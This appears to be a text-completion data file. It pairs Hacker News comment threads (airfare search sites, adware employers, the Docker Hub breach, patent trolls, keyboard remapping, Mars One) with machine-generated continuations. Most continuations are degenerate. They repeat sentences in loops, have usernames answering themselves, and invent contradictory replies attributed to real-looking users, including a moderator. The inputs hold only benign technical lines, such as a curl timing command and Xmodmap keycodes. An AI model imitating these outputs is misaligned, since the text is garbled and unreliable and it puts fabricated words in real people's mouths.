that they will come out of their shell\na bit.\n\n------\ngkanai\nDalai Lama Apple advertisement:\n\n\n\nApple Removes the Dalai Lama From Its Ads in Hong Kong\n\n[http://www.nytimes.com/1998/04/17/world/apple-removes-the-\nda...](http://www.nytimes.com/1998/04/17/world/apple-removes-the-dalai-lama-\nfrom-its-ads-in-hong-kong.html)\n\n------\nguard-of-terra\nI don't understand why your beloved apple won't throw in a $1000 monthly\nstipend for neurodamaged workers and close this horrible issue forever.\nFinanc"} +{"output_text": ".com, you will get popups.\n\n------\nnoodle\ni'm not sure if this is a good idea or not.\n\ni'm not sure if it's a good idea to have a site that is essentially a search\nengine that is also a travel site.\n\ni'm not sure if it's a good idea to have a site that is essentially a search\nengine that is also a travel site that is also a travel search engine.\n\ni", "input_text": " to those particular airlines and open tabs after running a\ncorrect search on all those airlines.\n\nBut your site is useless with the America-Centric airlines you have there.\n\nMy suggestion would be to also add a natual language processor where I can\ntype in the airlines I fly with, and this this info is immediately saved in a\ncookie for the next time I use the site. Also, when I start the search, an\naccount should immediately be created for me.\n\n------\naneesh\nFirst we had aggregators like Kayak, Expedia and Farecast. That's clearly too\nmuch work, so now with Tripeedo we have aggregators for the aggregators!\n\n------\npogos\nI'd never thought someone would compete with Orbitz.\n\n~~~\nsmanek\nOrbitz, et. al don't actually do their own search. They outsource all the real\nwork to ITA Software in Cambridge, MA - who actually run all the searches on a\nlarge cluster of servers running Common Lisp.\n\n------\njncraton\nThis site doesn't load in Chrome for me (aw snap error). Is anyone else\ngetting that?\n\nI'm running Chrome 2 on Windows 7.\n\n------\ndiN0bot\ni need tehcnical support: on firefox 3 it first blocked pop-ups, so i enabled\nand got a spew of opened tabs with no search results found (see my other\ncomment). when i tried to search again ff keeps blocking the pop-ups, even\nthough i keep enabling them.!!! nuts, i really want to buy cheap plane\ntickets :P i'll keep trying.\n\n~~~\nngrandy\nthis sounds like a firefox issue. if you choose to enable popups for\ntripeedo"} +{"output_text": "-nommm\nI'm not sure if you're being sarcastic or not, but I've never heard of Rakuten\nLoyalty.\n\n~~~\nhkmurakami\nI'm not sure if you're being sarcastic or not, but I've never heard of Rakuten\nLoyalty.\n\n------\njoshstrange\nI've been in the industry for a while and I can tell you that the \"old\"\ncompanies are", "input_text": " And then you\nhave maybe 20 peak years of productivity, you sure as hell don't want to spend\nany of it at something you can't respect.\n\nWhen you are done with your career at 60 or 65, you want to be able to look\nback and say \"I did this\" or \"I created that\" or \"I helped this many people\",\nnot \"I worked at that shitty adware company for 2 years because they have me\nfree food and beer\"\n\n------\nseibelj\nInterviewed at a company called Rakuten Loyalty in Boston a few years ago. At\nthat time it was the exact same thing, a malware / adware browser toolbar\ncompany, and they also sold white label toolbars. Took me the entire interview\nto figure out what they actually did. Their website [0] now has very little\ninformation about what they actually do, with a generic contact form. But an\narchive.org [1] of their old website shows the truth. Funny how they hide what\nthey actually do now.\n\n[0] [http://www.rakutenrewards.com/](http://www.rakutenrewards.com/) [1]\n[https://web.archive.org/web/20121216021038/http://rakutenloy...](https://web.archive.org/web/20121216021038/http://rakutenloyalty.com/solutions)\n\n~~~\nhkmurakami\nI guess I'm not entirely shocked since Rakuten the parent company and Japanese\necommerce site has very questionable tactics like emails you can't opt out of\nand forcing new employees to sign up a large number of friends/relatives to\nthe Rakuten credit card.\n\n~~~\nnommm"} +{"output_text": "ranged\" son.\n\n[0]\n[https://www.youtube.com/user/ThisOldTony](https://www.youtube.com/user/ThisOldTony)\n\n~~~\njoshu\nI'm not sure I'd call it \"machining\".\n\n~~~\ngravypod\nI'm not sure I'd call it \"machining\" either.\n\n------\njoshu\nI'm not sure I'd call it", "input_text": ":\n[https://www.youtube.com/watch?v=j-vJxez9UF8](https://www.youtube.com/watch?v=j-vJxez9UF8)\n\n\\- Hammer Drill Mechanism:\n[https://www.youtube.com/watch?v=joetVGrMfAY](https://www.youtube.com/watch?v=joetVGrMfAY)\n\n\\- Blendtec Blender:\n[https://www.youtube.com/watch?v=lA0kiYqyBmo](https://www.youtube.com/watch?v=lA0kiYqyBmo)\n\n\\- KitchenAid Mixer:\n[https://www.youtube.com/watch?v=0qKp-0h9P18](https://www.youtube.com/watch?v=0qKp-0h9P18)\n\n\\- $500 Mining Flashlight:\n[https://www.youtube.com/watch?v=Te06Y26Hyiw](https://www.youtube.com/watch?v=Te06Y26Hyiw)\n\n[1]\n[https://www.youtube.com/user/arduinoversusevil/videos?view=0...](https://www.youtube.com/user/arduinoversusevil/videos?view=0&sort=dd&live_view=500&flow=grid)\n\n~~~\ngravypod\nIf you find youself watching AvE's vid-jeos and enjoying the content\npertaining to machining Id sugest you check out This Old Tony [0]. He's the\n\"Dad\" to the AvE's \"est"} +{"output_text": " is a very misleading headline.\n\n~~~\ndasil003\nI don't think it's misleading. It's a very accurate headline.\n\n------\njoshu\nI think the real story is that the iPhone is a very good phone.\n\n~~~\njrockway\nI think the real story is that the iPhone is a very good phone.\n\n~~~\njoshu\nI think the real story is that the iPhone is a very good phone.\n\n", "input_text": " the same market. Of course,\njournalists optimize for the most dramatic headline, not the most informative\nor truthful article, so we're not going to see many apples-to-apples\ncomparisons on this subject in the tech press.\n\nAlso I have a non-rhetorical question. Apple, and several of the competitors\ngraphed here, have many lines of non-smartphone products. Is this graph\ntracking the profit/loss of their smartphone divisions only, or profits of the\ncompany as a whole? If the latter, then the comparison is silly, isn't it? And\nif it's the former, how does this analyst account for costs shared among\nmultiple divisions, such as iOS development (which is a cost that's shared\nwith their iPad and to some extent even their Mac divisions)?\n\n~~~\ndasil003\nYour first paragraph is fallacious.\n\nIf the graph includes feature phones then that will necessarily dilute Apple's\nprofits since they do not make a feature phone. Therefore that makes Apple's\nnumbers appear less impressive.\n\nI don't have an answer to your questions, but I'm sure Mr. Dediu would be\nhappy to answer them transparently. He's not a journalist cooking sensational\nstats, he's a serious amateur analyst who tries to make revealing graphs with\nan intellectual honesty that is refreshing and a community-driven feedback\nprocess that is producing better punditry than most of the professionals. I\nknow a lot of people have a chip on their shoulder about Apple, but it is\npossible to be both interested and impressed by Apple and also still be a\nrational observer.\n\n~~~\nabstractfactory\nThe headline manufactures drama from the contrast between \"8.7% market share\n[in units sold]\" and 75% of profits. This"} +{"output_text": "\n\n------\nmatt_the_bass\nI\u2019m not sure why this is on HN.\n\n~~~\ndang\nIt's not. It's a story about a whistleblower who has been fired for blowing\nthe whistle.\n\n~~~\nmatt_the_bass\nI\u2019m not sure why this is on HN either.\n\n~~~\ndang\nIt's not. It's a story about a whistleblower who has been fired for", "input_text": "training in proper forklift use. There is no excuse for Amazon not conducting\nproper training.\n\nThe Indiana officials who tried to cover this up should have their ass put in\na sling.\n\n~~~\nfrankharv\nHow about Federal level OSHA refusing to get involved. That is seriously\nmessed up. He even had the audio of the IOSHA coverup and that was not enough\nfor OSHA?\n\nForklift training is one thing. Forklift maintenance is not something you\ncould easily teach. It is learned by years of on the job experience.\n\nSomething that Amazon was not willing to pay for with Forklift Maintenance\nMechanics.\n\nDisgusting show from all parties involved. There should be a FBI investigation\nand the Governors phone location data used. I bet the whistle-blower is right.\n\n------\nLastZactionHero\nIt's embarrassing to watch proud cities (my hometown) humiliate themselves\nlike game show contestants for this HQ.\n\n------\nnottorp\n Amazon\u2019s corporate offices in Seattle gave a $1,000 campaign\ncontribution to Indiana\u2019s governor. It was years before Holcomb would next\nface reelection, and Amazon hasn\u2019t donated to him before or since. \n\nUS state governors are this cheap? :)\n\n~~~\ndarzu\nLobbyist are clever. It often isn't the money directly given that matters, but\nthe threat of giving money to the opponent.\n\n------\nActorNightly\nI highly doubt Amazon cares about $28000\n\n~~~\nab71e5\nThat's what I thought.\n\nMaybe it is about the state showing what it could do for Amazon in the future,\nshould they build their HQ there?"} +{"output_text": " way the hub.docker.com\nimages are built.\n\n~~~\njlgaddis\n> _You can run your own private Docker registry but you will still depend\n> upon the base images pulled from hub.docker.com in your deploy chain unless\n> you make sure to clone the base image Dockerfile from github and build it\n> yourself._\n\nI'm not sure I understand what you're saying here.\n\n~~~\nnetsectoday\nI'm saying", "input_text": "registry/)\n\nBut you've got other options, such as:\n\n\\- Self-hosted:\n[https://github.com/docker/distribution](https://github.com/docker/distribution))\n\n\\- Cloud-specific (e.g. ECR, GCR, ACR, etc.)\n\n\\- Sonatype Nexus: [https://www.sonatype.com](https://www.sonatype.com)\n\n\\- ProGet: [https://inedo.com/proget](https://inedo.com/proget)\n\n\\- Gitlab: [https://gitlab.com](https://gitlab.com)\n\n\\- Artifactory:\n[https://jfrog.com/artifactory/](https://jfrog.com/artifactory/)\n\nIf you're missing the auto-build functionality, this can be achieved\nreasonably easily with any of the mainstream and awesome CI/CD services out\nthere, such as:\n\n\\- SemaphoreCI: [https://semaphoreci.com/](https://semaphoreci.com/)\n\n\\- CircleCI: [https://circleci.com/](https://circleci.com/)\n\n\\- DroneCI: [https://drone.io/](https://drone.io/)\n\nDisclaimer: I work for Cloudsmith, and still think Docker Hub is great. :-)\n\n~~~\nnetsectoday\nYou can run your own private Docker registry but you will still depend upon\nthe base images pulled from hub.docker.com in your deploy chain unless you\nmake sure to clone the base image Dockerfile from github and build it\nyourself. Even with this protected setup; you still have exposure from\npoisoned Github repos after this attack because of the"} +{"output_text": "time_total}\\nTime pretransfer: %{time_pretransfer}\\nTime starttransfer: %{time_starttransfer}\\nSize download: %{size_download}\\nSpeed download: % {speed_download}\\n\"\nhttp://www.portent.com/\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\ndarkmethod\nI'm not sure I understand the point of this either.\n\n------", "input_text": ".\n\nI'd like to explore chip design but I think that requires an electrical\nengineering degree which I don't have.\n\n------\nylk1\nI wonder about the same points for a CPU Architect too.\n\n \n\nHow to make a site really freaking fast - portentint\nhttp://www.portent.com/blog/design-dev/how-we-made-portent-com-really-freaking-fast.htm\n\n======\nirahul\nI don't know. The landing page is painfully slow for\nme. The optimization listed are mostly frontend optimization. The first thing\nI would do is to figure out the bottleneck.\n\n \n \n curl -w \"\\nTotal time: %{time_total}\\nTime pretransfer: %{time_pretransfer}\\nTime starttransfer: %{time_starttransfer}\\nSize download: %{size_download}\\nSpeed download: % {speed_download}\\n\" http://www.portent.com/\n \n Total time: 2.629\n Time pretransfer: 0.375\n Time starttransfer: 1.400\n Size download: 32730\n Speed download: 12449.000\n \n \n\nOk. Not bad. Backend seems to be fine. But then I did the profiling in chrome.\nSome cdn requests are well past 25 seconds in the timeline. For a user, the\nsite load takes more than 25 seconds. Your cdn is the bottleneck - you should\nwork on fixing the cdn first.\n\n~~~\ndarkmethod\nCurl is incredibly useful. However, I noticed that your line above was\ntruncated prematurely.\n\ncurl -w \"\\nTotal time: %{"} +{"output_text": "'re trying to generate revenue, then you're probably not\ngoing to get much discussion anyway.\n\n~~~\njoshu\nI don't think it's a trend. I think it's a natural evolution of the web.\n\n~~~\nalttag\nI agree. I think it's a natural evolution of the web, but I don't think it's a\ngood evolution.\n\n------\njoshu\nI think the problem is that the web is a very", "input_text": ", not even close. The antipode of Iowa is in the\nIndian Ocean and hundreds of miles from any land. The straight-line distance\nfrom Iowa to Egypt through the Earth's sphere would be more like 6000 miles.\n\n------\nsedachv\nRead Jim Gray's Why do computers stop and what can be done about it?\n()\n\nExcerpts:\n\n\"In the measured period, one out of 132 software faults was a Bohrbug, the\nrest were Heisenbugs.\"\n\n\"[retry] routines had a 76% success rate in continuing system execution.\"\n\nCosmic rays or race conditions, transient bugs _are_ common.\n\n \nWhy Facebook comments is a bad idea for your site - pytrin\nhttp://www.techfounder.net/2012/08/15/dont-mix-business-and-personal-why-facebook-comments-is-a-bad-idea-for-your-site/\n======\nalttag\nI don't particularly like the trend of sites offloading their commenting\nmechanisms to Twitter, Facebook, DISQUS, etc. If it's Facebook, I'll never see\nit, due to browser plugins. Twitter is often too short for a good\nconversation, but if you do use it, run a script to import/display related\ntweets instead of making me click. I'm not a fan of DISQUS either, partly\nbecause I use Ghostery. (Alhough, it's good that the new version has a quick\n\"enable once and reload\" feature.)\n\nIf the purpose of your site is to generate discussion, include a discussion\nmechanism. If you"} +{"output_text": ", are more important than the \"at-will\" part.)\n\nNo, at-will means that the employer can fire you for any reason, or no reason,\nor for no reason at all, or for any reason that is not illegal, or for any\nreason that is illegal, or for any reason that is illegal _and_ not\ndiscriminatory, or for any reason that is discriminatory, or for any reason\nthat is discriminatory _and_ not illegal, or", "input_text": " If it's a 5,000-person company, and you weren't give a few chances\nto prove yourself on multiple projects, you can raise accusations of personal\nbias. (That's why companies implement those horrible 18-month policies against\ninternal transfer-- it's to create the impression of a uniform performance\nstandard-- however, those only have legal weight if enforced uniformly, which\nthey never are.) Even if you don't win, you can bring a lot of HR records into\nfresh air (which a company doesn't want) as they try to prove that you failed\naccording to a set of rules that is enforced uniformly. Companies would rather\npay severance than have the courts getting into their HR records.\n\nThe probation period is generally more \"at-will\" than regular employment. For\nmost companies, probation means a couple of things. First, it means that a no-\nshow constitutes voluntary resignation and therefore can't require the company\nto pay unemployment. (This isn't an issue at our level, but most people are\nnot as ambitious and diligent as we are, and no-shows happen.) Second, it\nblocks the \"employee should have been allowed transfer before termination\"\nargument because the going assumption is that no one transfers in a probation\nperiod. Third, it often means no vacation is accrued, which is relevant when\npeople are terminated early on (because they usually haven't used it). Fourth,\nand perhaps most relevant, it means that one should not expect severance if\nterminated in that time.\n\n~~~\ndragonwriter\n> \"At-will\" means that companies have the right to execute strategic layoffs,\n> and also to set performance standards whereever they wish, as long as\n> they're uniformly enforced across that job description. (Both of these, I'd\n> argue"} +{"output_text": " you saying that the ISP should be able to charge the webmaster for the\nbandwidth used to deliver the content to the user?\n\n~~~\nbrudgers\nThe ISP is delivering advertising from which Google benefits and which its\nusers are not explicitly requesting.\n\nThe ISP is delivering advertising from which Google benefits and which its\nusers are not explicitly requesting.\n\nThe ISP is delivering advertising from which Google benefits and which its\nusers are not explicitly requesting.\n\nThe ISP", "input_text": " I'm not saying Google _needs_ Orange, but it is indeed a strategic\npartner.\n\nOrange is also an highly trusted ISP in France, and (unlike Free) counts many\ncorporations among its clients. Google probably would not risk alienating\nthose clients by engaging in an open conflict with Orange.\n\nAll in all, I don't think any other French ISP would have been able to wrestle\nsuch a deal from Google.\n\n------\nbrudgers\nA plausible case can be made for charging Google based on the amount of\ntraffic generated by their products which is initialized outside of the\nsubscriber's control.\n\nThe ISP is delivering advertising from which Google benefits and which its\nusers are not explicitly requesting. Charging Google is analogous to a cable\nprovider charging an advertising agency when that agency wants to place ads on\nbehalf of their clients.\n\nOther Google services such as Analytics, tracking cookies, and JavaScript\nlibraries also use capacity without considering the effect on the provider's\nbandwidth.\n\nAgain, this is a plausible position. It is plausible because Google is\ngenerating revenue regardless of the ISP's customers' interest and the source\nof the data is outside the ISP's network.\n\nCharging Google is a reasonable alternative to charging their customers for\nsomething which may be of little value to them.\n\n~~~\nrryan\nI disagree. A user requesting is that user requesting\neverything that the webmaster of example.com wanted example.com to include.\nThis includes ads.\n\nThe webmaster has decided that the content hosted on \nincludes some HTML, some off-site resources (maybe images hosted on a CDN,\nmaybe some ads, maybe some Javascript hosted elsewhere).\n\nAre"} +{"output_text": "asa-study-finds)\n\n~~~\nTeMPOraL\n> _I find the title misleading, the main reason Earth is getting greener is\n> mainly because of higher CO2 emissions_\n\nI don't think it's misleading. The title is accurate.\n\n> _What is truly new, is that human activity in India and China alone is\n> responsible of a 16% increase of leaf area._\n\nI don't think it's new at", "input_text": "?\n\n~~~\nTeMPOraL\n\"You see, Earth is getting greener! Things are getting better! Maybe we don't\nneed to cut down on fossil fuels and wasteful consumption after all!\"\n\n~~~\nhanniabu\nExactly, this is precisely the kind of stuff I hear. Also not sure why so many\ndownvotes lol, I think many misunderstood what I was saying\n\n~~~\nTeMPOraL\nThey must have, yes. You have my upvote, FWIW.\n\n------\nniyaven\nI find the title misleading, the main reason Earth is getting greener is\nmainly because of higher CO2 emissions[0]. Saying the earth is getting greener\nthanks to China and India, is forgetting that ~84% of the increase is not\nrelated to these countries[1].\n\nWhat is truly new, is that human activity in India and China alone is\nresponsable of a 16% increase of leaf area. So, to quote original article:\n\n> now that we know direct human influence is a key driver of the greening\n> Earth, we need to factor this into our climate models\n\n[0] [https://climate.nasa.gov/news/2436/co2-is-making-earth-\ngreen...](https://climate.nasa.gov/news/2436/co2-is-making-earth-greenerfor-\nnow/)\n\n[1] [https://www.nasa.gov/feature/ames/human-activity-in-china-\nan...](https://www.nasa.gov/feature/ames/human-activity-in-china-and-india-\ndominates-the-greening-of-earth-n"} +{"output_text": " body is the main one.

I am not sure if I can do it, but I am going to try.\n\n~~~\njoshuamorton\nI've been sober for a year now. I've been drinking for a decade. I've been\ndrinking a lot. I've been drinking a lot. I've been drinking a lot. I've been\ndrinking a lot. I've been drinking a lot. I've been drinking a lot. I've", "input_text": " Patent trolls get paid because short-sighted companies make the decision\nto pay. Simply put, it is usually cheaper in the short run to pay a troll than\nit is to litigate. It is also cheaper to give a schoolyard bully your lunch\nmoney than it is to visit a doctor. The thing is, once you pay the bully,\nhe\u2019ll just come back again and again and again. Eventually, that lunch money\nadds up to a lot more than a doctor\u2019s visit. In the long run the best way to\ndeal with a bully is to punch him square in the face. You might take a\nbeating, but if you do it every time? The bully will find easier prey. >>>\n\nThis is very naive. Patent trolls get paid because they are highly effective\nat weaponizing the legal system.\n\n~~~\nScottBurson\nYou must not be aware of Newegg's success in defending themselves against\npatent trolls. They demonstrated that stonewalling can pay off.\n\n~~~\nunicornmama\nThe plural of anecdote is not data.\n\n------\ntheflyingkiwi42\nIn my experience, attorney fees for screw-ups (accidental or not) get very\nrarely awarded :( Hope just fighting makes the troll go away.\n\n \nAsk HN: What benefits of quitting alcohol consumption? - throw51319\nI've decided to do a "dry" January and if I can do it, will try to extent to all of 2020.

I didn't drink often, not more than once a week. But it was usually a binge episode, having at least 10 drinks.

Has anybody stopped? What were the benefits? I am thinking that the reduction of stress on the"} +{"output_text": "etization rights).\n\nI was told that the company was \"just doing it for the lulz\" and that I was\n\"just doing it for the lulz\" and that I was \"just doing it for the lulz\" and\nthat I was \"just doing it for the lulz\" and that I was \"just doing it for the\nlulz\" and that I was \"just doing it for the lulz\" and that I was", "input_text": "\n\nWho's buying those ads by the way? Sure it sound like a terrible company, but\nI can help thinking that their customers are worse.\n\n~~~\netjossem\nIf anything, hijacking page real estate makes it _less_ likely the user will\nclick on non-injected ads (which actually pay something out to the content\ncreator).\n\nI believe content creators have a right to seek compensation for their work -\nwhether it's through ads, affiliate links, or a subscription model.\n\nBut what 50onRed does is thievery from the creators, plain and simple.\n\n------\nsettsu\nI worked in the user experience team at that one big American domain company\n(that's well known for mostly the wrong reasons.) Similar situation as the\nstory: great coworkers, great pay, & great perks.\n\nOne of the products I was assigned was the interface for customers to\nconfigure those sites that are intended to monetize a domain with filler\ncontent meant to fool a visitor just enough to milk them for a few cents with\nseemingly legitimate articles/posts and an e-commerce feature that was\nessentially a storefront built entirely from affiliate links.\n\nUnlike the individual in the story, it was immediately clear what my task was:\nmake spamming the Internet as user-friendly as possible. Unfortunately there\nwas no mental gymnastics I could do to reconcile that.\n\nEspecially since the second product I had was domain auctions, which alone is\nnothing more than virtual real estate, but together with the first product is\nthe makings of a thinly-veiled means to skim money off the top of online\npurchases made by ignorant users AND to fool people into believing they could\nprofit from otherwise idle domains (by first paying the company for the\nmon"} +{"output_text": "\nones) they will be in trouble.\n\n> You seem to be defending Google on the basis of their freedoms.\n\nI am not defending Google. I am defending the idea that they can't take away\nthe source code of a product they don't own.\n\n> If you read what I've written, you'll see that I haven't argued they don't\n> have the right to do what they are doing.\n\nI don't think you have. I", "input_text": " isn't about controlling other players?\n\n~~~\nrbanffy\nAre you under the impression Google can take 2.3 away from anyone? They own it\nand they can't. What they are doing is saying they won't release 3.x _for now_\nsource and not really disclosing the reasons. Anything can be behind that\ndecision, including the inclusion of non-Google code in the specific products.\n\nI prefer to think along those lines.\n\n~~~\nrbarooah\nI'm not under that impression. I am under the impression that they have given\nthe 3.x source to some people and not to others, thus choosing who gets to use\nit. Normally we refer to that as 'control'.\n\nThey didn't say _Android 2.3_ is open. They said that _Android_ was open and\nthe purpose was so that no one entity could control the innovation of other\nplayers, and yet that is exactly what they are doing.\n\nYou seem to be defending Google on the basis of their freedoms. If you read\nwhat I've written, you'll see that I haven't argued they don't have the right\nto do what they are doing. I haven't even argued that it's bad.\n\nI am merely pointing out that they have gone back on what they said. You\nhaven't said anything that refutes this.\n\n~~~\nrbanffy\n> they have gone back on what they said.\n\nPoint me, please, where did they say Honeycomb will not be opened. As it is\nnow, it probably has some code that went in to meet launch deadlines and that\nprevents a full release. They may also want to tidy things up before pushing\nit out because if they push out a defective API (and there are lots of new"} +{"output_text": " a PR nightmare for Google\nis pretty telling.\n\n~~~\njoshu\nI'm not sure it's a PR nightmare.\n\nGoogle is a big company. They have a lot of people. They have a lot of\nresources.\n\nThey have a lot of people who are not idiots.\n\n~~~\njoshu\nI'm not sure if this is a good example of that.\n\n------\njoshu\nI'm not sure if this", "input_text": "\n\nThe only thing that got the ball rolling here was the parents of some of the\nkids alerting google.\n\n~~~\nyrb\nI got the impression that SRE basically have low level access to the storage\nstack. So wouldn't be subject to most of the normal application level logging\nthat I would assume would red flag this behaviour pretty fast.\n\nThe only way to get around this is to have someone audit _all_ their actions\nconstantly, which you need someone equally or more familiar with the systems\nthey are working with.\n\nI think that is pretty impossible to implement that level of overview with\nhumans, the best way to go normally is the 'buddy system' so no one can access\na system unless they have a 'buddy' with them. Like the military do in nuclear\nweapon silos.\n\n~~~\njacquesm\nAccess to the low level storage stack would not allow you to query with so\nmuch detail and would likely not have an interface that would allow you to\nmodify user settings at will. So he must have used some higher level tools.\n\n~~~\nbirken\nWell it depends.\n\nFor example if an application uses Bigtable, then the key + column names often\ngives a lot of information about what data is stored there, which if somebody\nhad access to some basic application data they might be able to get at\nsomebodies specific data.\n\nHowever as you might expect there are many safeguards in place, including\nensuring every action is fully and securely authenticated so even low level\nSREs cannot read application data without a paper trail. This story is pretty\nsurprising to me, and if true this guy is an idiot.\n\n------\nrobk\nThis is pretty serious and the fact it's turned into"} +{"output_text": " money, I will do it. If it is more fun, I will do it. If it is more\neffective, I will do it. If it is more efficient, I will do it. If it is more\nfun, I will do it. If it is more effective, I will do it. If it is more\nefficient, I will do it. If it is more fun, I will do it. If it is more\neffective, I will do it. If", "input_text": "\nreureu\nI totally agree, and wasn't arguing that a new title wasn't necessary. And I'm\nok with my downvotes for that comment :)\n\nIt's just funny that \"Data Scientist\" seemed to be originally branded as the\nmore technical/engineer-y version of a data analyst. Now I get recruiters\ncontacting me for \"Data Scientist\" positions that entirely revolves around SQL\nand excel, and nobody in the Bay Area hires \"Data Analysts\" anymore.\n\nAlright, guess it's time to update my LinkedIn and resume to adjust for this\ninflation? Maybe I should jump up a few inflation levels and just become a\n\"Deep Learning Engineer.\"\n\n~~~\nborroka\nI do not see any problem with that. There is a ton of confusion in the tech\nworld regarding labels, who does what, it is needed or not, outside of the\ncore actions that need to be done. The net effect of laying off 50% of tech\npeople from public tech companies might even result in a net positive for the\ncompanies. Not for a tech worker like me, so please do not tell them.\n\nTaking advantage as much as possible of hypes and other people's lazyness is\nfine in my book. It is certainly not my duty from the outside to educate\nrecruiters and business people who make hiring decisions on the field \u2013 when I\ntried, from the inside, to gently point out that what they were thinking did\nnot make any sense, I just put myself in a dangerous spot. I can be a data\nscientist, deep learning engineer, machine learning engineer, machine learning\nresearch scientist, whatever pays more and whoever has the most fun. If using\nan RNN instead of a more effective and efficient linear regression gives me\nmore"} +{"output_text": " is used for\nconcatenation.\n\n~~~\njhuni\nI don't know about that. I use dashes for separating words in my text editor.\n\n------\njamesjporter\nI'm not sure I'd call this a \"keyboard layout\" but rather a \"keyboard\nshortcut\".\n\n~~~\njamesjporter\nI'm not sure I'd call this a \"keyboard layout\" but rather a \"keyboard\nshortcut\".", "input_text": "\nbradleyland\nIt's not ironic at all. One would expect that authors using a particular\nkeyboard layout would tend to favor characters that are easy to type. In that\nway, it's the opposite of irony. The outcome is exactly what we'd expect.\n\n~~~\nblahedo\nSee also the keyboard used to develop the original vi:\n\n\n\n~~~\nyuchi\nThat explains also the tilde=home :)\n\nA recent article I've read somewhere explains it very well!\n\n------\nquarterto\nI have the number keys mapped to their symbols (i.e. pressing 1 gives!,\npressing Shift+1 gives 1 etc.) using a custom XKB map. Feels so much more\nefficient, although I don't have any hard stats.\n\n~~~\nlloeki\nSounds almost like a FR layout.\n\n~~~\ndraven\nFR layout is great for this (and writing lisp is easier when the parenthesis\nare easily typed) but the []{} characters are horrible to type!\n\n------\nksec\nInteresting, according to the stats, if you have = sign done with out the\nshift it would have saved another 20% of the keystrokes.\n\n------\nrshm\nThis is my current.Xmodmap file\n\nkeycode 48 = quotedbl apostrophe quotedbl apostrophe\n\nkeycode 66 = Tab Caps_Lock NoSymbol Caps_Lock\n\nkeycode 20 = underscore minus underscore minus\n\n------\njhuni\nUse dashes for separators like in Lisp.\n\n~~~\nLeonidasXIV\nJust it doesn't work in most languages, as the - sign"} +{"output_text": " deployment).\n\n~~~\nbillconan\nI see. Thanks for the explanation.\n\n------\njedberg\nI'm curious how they got the credentials.\n\n~~~\nsirclueless\nI'm not sure how they got the credentials, but I'm pretty sure they didn't\njust get them from a compromised database.\n\n------\nsirclueless\nI'm curious how they got the credentials.\n\n~~~\nsirclueless", "input_text": " than Docker is currently disclosing...\n\n------\nmadhuakula\nThis step by step checklist might help you \"what should I do\" to review your\naccounts.\n\n[https://blog.madhuakula.com/some-tips-to-review-docker-\nhub-h...](https://blog.madhuakula.com/some-tips-to-review-docker-hub-hack-\nof-190k-accounts-addcd602aade)\n\n------\nwtdata\nWhat does this means for users? I was using watchtower to auto update the\nimages in my system. One of them was autoupdated after the failure.\n\nCan this be used to upload containers with security exploits in order to gain\naccess to machines (i.e. does it give write access to the containers)?\n\n------\nbillconan\nI\u2019m curious, how can a database be accessed without authorization? If\nauthorization is enabled? Also how unauthorized access can be discovered?\n\nSay I use Mongodb and enabled authorization. Will I be fine then? How to\ndiscover unauthorized access?\n\n~~~\nsirclueless\nAuthorization has a common English definition too. If, for example, an\nemployee's credentials were compromised, anyone who wasn't that employee who\naccessed the database would be considered \"without authorization\". And\nchecking the access logs for any use of that employee's credentials would give\nyou some idea of what data was accessed. Enabling authorization on your\nmongodb is good, but it absolutely won't stop all forms of unauthorized\naccess. They may gain access to your server itself, or gain some credentials\nto your MongoDB database some other way (for example, if someone carelessly\nships them as part of your"} +{"output_text": " massive engineering and\nlogistics problem, it was built by a society that had the desire to build it.\n\n~~~\nlumberjack\nI agree with you. I think that the main problem is that the people who are\ngoing to Mars are not the people who are going to build it.\n\n------\njoshuahedlund\nI'm not sure I understand the point of this article. It seems to be saying\nthat the Mars One mission is a bad idea because", "input_text": ".\n\n------\nsmoyer\nI'd be perfectly willing to die on Mars and (being one of the older one here),\nI'd say it's more likely that I am dead before anyone actually gets there.\n(Note that my family might not like me leaving them behind on Earth).\n\nAs an aside, it's a shame that the artist's rendition reminds me of a trailer\npark in a Florida retirement \"encampment\". I have no intention of retiring\nsomewhere that's populated by snow-birds (well... if I actually retire.\nRetirement sounds terribly boring).\n\n------\nlumberjack\nI see that Mars One will be using the SpaceX vehicles. I wonder if Elon Musk\nwill be fine with this, because as far as I see it, it is actually undermining\nthe competitive spirit of the race for Mars which is more about building the\nbetter technology than actually setting the foot there first just to get your\nname on the history books. For someone as devoted to offering real\ntechnological innovation, as Elon Musk is, it would probably smack a bit of\ncheating.\n\n~~~\nakiselev\nThe obstacle of going to Mars has long since been a problem of desire and not\ntechnology. Obviously better radiation shielding, drugs that reduce the\nnegative effects of zero-g, nuclear propulsion, and other technologies would\nreduce the risk of failure but at the end of the day going to Mars is a\nmassive engineering and logistics problem.\n\nA good analogy (I think) would be the construction of the Great Pyramid of\nGiza. Sure it is trivial to build today with our technology, as (I hope) it\nwill be trivial to travel to Mars in the distant future, but the reason its a\ngreat wonder of the world is because, despite a"} +{"output_text": "used, and the answer was \"I don't know, I just know it's a big number\".\n\n[1]\n[http://en.wikipedia.org/wiki/Insertion_sort#Iterative_sort](http://en.wikipedia.org/wiki/Insertion_sort#Iterative_sort)\n\n~~~\njameshart\nI think you're right, but I think the point is that you don't have to know\neverything. You can", "input_text": "'s a joke in there that start\n\"I've forgotten more than...\") I use APIs to get work done. When I need to be\nmore academic, I search online. The only place anyone's ever required to be so\n'academic' about algorithms, data structures, math, etc is in academia. Step\nout into a job and you have an internet of active developers and useful forums\nare your disposal. Even if a company hired me to write an 'academic' code\nlibrary, I'd do the research, write the implementation, and (after sufficient\ntesting, profiling, etc) forget about it.\n\n~~~\nalexkus\nThe more you \"know\" the less you have to go look for, and when you do have to\ngo look for stuff on the Internet (since you're not omniscient) then you'll\nunderstand more of the pages you get back as results, and understand them\nfaster since there's less groundwork you need to cover.\n\nAn understanding big-O notation is very important if you go searching for\nsorting algorithms and land on a page that has an overview of sorting\nfunctions but listing bogosort as O(n!) and insertion sort as O(n^2), both\nrelatively easy to implement, and this relatively complicated iterative[1]\nquick sort that's listed as O(n log n). Without other clues someone might just\nimplement the one that looks easiest, and it works fine on their test set of\n20 elements, but blows up in the future as their application/site grows and\nslows to a crawl sorting through millions of rows with an insertion sort.\n\nOr, one of the most recent questions in the Mathematics part of the exam made\nme snigger because someone I work with was asking what bignum library was\n"} +{"output_text": " were able to\nachieve a better result than the best current cameras.\n\n~~~\nboxey\nI'm not missing the point. The point is that the current image sensors are\nnot capable of capturing the required light.\n\n~~~\naeturnum\nI'm not sure what you mean by \"the required light\".\n\n------\njoshvm\nI'm not sure why this is on HN. It's a pretty basic image processing\nalgorithm.\n\n~~~", "input_text": "&\n======\ngknoy\n\"... from approximately 